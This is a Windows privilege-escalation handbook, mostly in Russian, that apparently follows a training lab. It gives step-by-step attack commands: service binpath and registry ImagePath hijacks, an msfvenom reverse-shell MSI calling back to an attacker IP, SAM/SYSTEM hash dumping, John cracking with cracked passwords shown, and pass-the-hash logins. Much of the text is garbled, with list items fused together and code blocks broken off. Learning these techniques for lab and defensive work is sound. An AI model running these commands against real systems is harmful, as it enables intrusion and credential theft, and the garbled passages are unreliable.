
My handbook for Windows Privilege Escalation concepts. Do Check out my Playlist, link: https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk
Важный момент: группы — любой пользователь группы Administrator помогает нам повышать привилегии!
whoami /priv — привилегии текущего пользователяnet users — список всех пользователейnet user <username> — сведения о конкретном пользователеqwinsta — другие пользователи, вошедшие в систему одновременноnet localgroup — группы, доступные в системеnet localgroup <group-name> — список участников конкретной группыsysteminfo — предоставляет всю информацию об ОСhostname — имя хоста системыfindstr /si password *.txt — ищем файлы, содержащие 'password', и именно в текстовых файлахwmic qfe get Caption,Description,HotFixID,InstalledOn — показывает информацию об обновлениях безопасности и связанных данныхnetstat -ano — соединения, связанные с машинойschtasks /query /fo LIST /v — поиск запланированных задачsysteminfo на своей машине — это единственное требование для работы инструментаwmic product get name,version,vendor — выводит название продукта, версию и производителя. Эта команда даёт наглядное представление о том, что нам нужно.wmic service list brief | findstr "Running", а для получения дополнительной информации о службе используйте sc qc <ServiceName>post/multi/recon/local_exploit_suggester; убедитесь, что ваша сессия находится в фоне, чтобы этот инструмент работал корректно, или вы можете просто загрузить его из meterpreter.winpeas.exe --helpsysteminfo, скопируйте её в любой файл и назовите его с расширением .txtЗдесь мы попытаемся найти службы с небезопасными разрешениями, а затем попробуем их эксплуатировать.
Здесь мы можем использовать команду winpeas.exe servicesinfo и увидеть службы, которые могут быть полезны
Одна интересная часть вывода выглядит так,```
daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig
- Но чтобы получить больше информации, мы можем использовать инструмент под названием **accesschk**, созданный Microsoft, запустите его следующим образом: `accesschk.exe /accepteula -uwcqv <current-user> <service>`, вывод будет следующим,```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
service_change_config, где мы можем изменить конфигурацию службы.sc qc <service> и затем обратите внимание на Binary_path_name (его также называют binpath), который мы собираемся изменить (злобная улыбка)sc config <service> <option>="<value>"sc config daclsvc binpath="<path>" и запустите службу sc start daclsvcVulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe
The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.
C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe
- Чтобы получить больше информации, просто используйте скрипт **WinPEAS** с опцией `servicesinfo` — здесь мы можем увидеть информацию, можно ли эксплуатировать какой-либо **Unquoted Service Path**. Здесь я запустил инструмент, и интересная часть вывода выглядит так:```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected
sc qc <service>C:\Program Files\Unquoted Path Service с помощью accesschk, поэтому выполните accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service". Вывод:```
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"
C:\Program Files\Unquoted Path Service
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW NT SERVICE\TrustedInstaller
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators- У нас есть права на чтение и запись.
- Теперь создадим полезную нагрузку и поместим её в `C:\Program Files\Unquoted Path Service` с помощью `copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"`. Здесь я использую другое имя, что даёт преимущество и в алфавитном порядке.
- Теперь запускаем службу: `sc start unquotedsvc` — и мы админы!!!
-----------------------
### Слабые разрешения в реестре:
- Здесь мы попробуем эксплуатировать службы со слабыми разрешениями в реестре.
- Для поиска нужно использовать `Winpeas` с опцией `servicesinfo`. Результат выглядит примерно так:```
���������� Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions
HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])
regsvc, так что давайте разберёмся с этой службой подробнее: выполните sc qc regsvc, и вывод будет таким,```
sc qc regsvc
[SC] QueryServiceConfig SUCCESSSERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem
- Забавный факт: путь заключён в кавычки, так что **Unquoted Service Path** здесь не подойдёт.
- Теперь запустим `accesschk.exe` и копнём глубже. Выполните `accesschk /acceptula -uvwqk <path of registry>` (то есть `HKLM\system\currentcontrolset\services\regsvc`).
- Ищем в выводе `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)` — и можно эксплуатировать.
- Теперь посмотрим на параметры в реестре с помощью `reg query HKLM\system\currentcontrolset\services\regsvc`, и я нашёл параметр `ImagePath`, который принимает значение исполняемого файла, так что давайте эксплуатировать. Сначала создадим reverse-shell.
- Затем выполните `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f`, путь к пейлоаду выбирайте по своим потребностям.
- Теперь запускаем службу: `net start regsvc` — и ура! У меня шелл.
-----------------------
### Небезопасные исполняемые файлы служб:
- Здесь права на файл службы доступны всем! Пробуем подменить исполняемый файл службы — и готово!
- Запустим **Winpeas** с модулем **servicesinfo** и посмотрим, есть ли что-то интересное. Вывод такой:```
filepermsvc(File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stopped
File Permissions: Everyone [AllAccess]
filepermsvc, поэтому мы создадим полезную нагрузку — reverse_shell — и заменим ею исполняемый файл службы, после чего получим шелл.reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run — это покажет программы автозагрузки и их пути.- У нас есть 2 программы с путями, так что давайте проверим.
- Теперь мы запустим **accesscheck**, чтобы проверить, какие разрешения доступны для пути к файлам этих автозапусков.
- Просто запустите `accesschk.exe \accepteula -wvu "<path>"`. Я запустил это для пути автозапуска **My Program**, и вывод показал `FILE_ALL_ACCESS`, так что мы буквально можем делать в этой папке всё, что угодно. В основном мы можем заменить исходный исполняемый файл, перезагрузить систему и получить шелл.
- Теперь нам нужно дождаться входа администратора, и мы получим шелл от имени привилегированного пользователя!
- Загвоздка здесь в том, что нам нужно дождаться входа администратора/владельца, иначе мы готовы действовать!
------------------------------
### AlwaysInstallElevated
- Он позволяет обычному пользователю устанавливать **msi** (Microsoft Installer) с правами администратора.
- Это отличный и лёгкий способ получить повышенные привилегии.
- Мы можем проверить это, выполнив:
`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
` и
`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
`
- Выполните обе эти команды — значение для **AlwaysInstallElevated** должно быть 1 или 0x1. Так мы сможем подтвердить и продолжить.
- Теперь создайте reverse-shell в формате **msi** — для справки посмотрите команду ниже:
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.39.50 LPORT=4444 --platform windows -f msi > reverse.msi`
- Теперь передайте этот файл на машину с Windows и выполните команду:
`msiexec /quiet /qn /i reverse.msi`
- Ура! Мы получили шелл от имени `nt authority\system`
------------------
-------------------
## Пароли:
- Здесь мы ищем учётные данные в реестре, файлах и т.д.
- И попробуем войти!
----------------------
### Поиск паролей в реестре:
- Мы можем искать пароли в реестре; иногда можно найти пароли других пользователей или даже владельца.
- Выполните `reg query HKLM /f password /t REG_SZ /s` — это выдаст все записи в реестре, содержащие строку **password**. Поищите, и, возможно, найдёте! Но печальная новость в том, что мне ничего не удалось получить!
- Также выполните `reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
` — возможно, мы найдём полезную информацию.
- Мы также можем воспользоваться нашим легендарным инструментом **winPEAS**, запустив его с такими опциями, как `windowscreds` — поиск учётных данных, а также `filesinfo` — просмотр файлов и реестра на предмет полезных данных (иногда и паролей).
- После получения пароля — здесь это `password123`, — теперь войдём с помощью **psexec** (ссылка: https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py). Синтаксис: `python3 psexec.py [email protected]`; затем он запросит пароль — укажите его, и мы получим доступ как администратор!
-------------------------
### Пароли: Savedcreds
- Прежде всего выполните `cmdkey /list`. Здесь **cmdkey** — это приложение Windows Server, которое *создаёт, выводит список и удаляет сохранённые имена пользователей и пароли или учётные данные*. Выполнив эту команду, мы увидим все сохранённые учётные данные пользователей!
- Вывод будет таким:```
Currently stored credentials:
Target: WindowsLive:target=virtualapp/didlogical
Type: Generic
User: 02nfpgrklkitqatu
Local machine persistence
Target: Domain:interactive=WIN-QBA94KB3IOF\admin
Type: Domain Password
User: WIN-QBA94KB3IOF\admin
runas /savecred /user:admin C:\Temp\reverse.exe, это даст нам привилегии администратораC:\Windows\Repair, чтобы мы могли поиграть! В этом каталоге есть 2 файла, а именно: SAM и SYSTEMdownloadpython2 pwdump.py /opt/work/SYSTEM /opt/work/SAM — она отобразит хэши пользователей, доступных в Windows-машине. Вывод:```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2:::
user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::Теперь сохраните вышеуказанное содержимое в текстовый файл и взломайте его с помощью **JohnTheRipper**, синтаксис: `john --format=NT hashes.txt --wordlist=/usr/share/wordlist/rockyou.txt`, и он был взломан!```
password123 (admin)
password321 (user)
Passw0rd! (Administrator)
a9fdfa038c4b75ebc76dc855dd74f0daexport SMBHASH=aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da; здесь мы также используем хэш вместе с groupidpth-winexe -U admin% //10.10.213.97 cmd.exe, и я получил shell под пользователем adminpth-winexe уже доступен в Kali.schtasks /query /fo LIST /VCleanUp.ps1 выглядит интересным, и путь к нему — C:\DevTools\CleanUp.ps1accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1 — и у нас есть все права на чтение, запись... и т.д.- Затем я перенёс и переименовал в `CleanUp.ps1` и получил подключение.
--------------------
---------------------
## Небезопасные GUI-приложения:
- После получения RDP-подключения откройте `Taskmanager` и там на вкладке `Details` мы можем увидеть приложения и пользователя, который их запускает.
- Здесь они намеренно настроили `mspaint.exe` для запуска с правами администратора, так что это будет нашей целью.
- Поскольку мы работаем с **Paint**, у нас будет возможность открывать файлы, поэтому мы откроем `file://c:/windows/system32/cmd.exe` и бум! Мы получаем оболочку от имени пользователя **admin**!
- Здесь функциональность немного ограничена, потому что мы не всегда можем получить RDP-подключение.
-----------------------
----------------------
## Приложения автозагрузки:
- В Windows есть функция, позволяющая запускать некоторые приложения в автозагрузке; мы можем злоупотребить этой функцией.
- Приложения автозагрузки находятся в `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`, это путь по умолчанию.
- Давайте проверим, что мы можем сделать с помощью **accesschk.exe**, для этого запустите `accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"`. Вывод будет таким:```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW WIN-QBA94KB3IOF\Administrator
RW WIN-QBA94KB3IOF\admin
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
R Everyone
CreateShortcut.vbs, который запускается с правами администратора, и его основная цель — создать ярлык для reverse-shell, который мы загрузили.list_tokens -u в сессии meterpreter; затем, найдя интересный токен, выполните impersonate_token <имя токена>whomai /priv и увидеть привилегии текущего пользователя; если там есть такая привилегия, как SeAssignPrimaryToken... и т.п., это довольно опасно, это очень опасно! Чтобы узнать больше об этих привилегиях и о том, как их эксплуатировать, смотрите эту статью: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privilegesNT Authority/System
[В процессе.....]driverquery — вывод информации о драйверахsc query windefend — проверка службы антивируса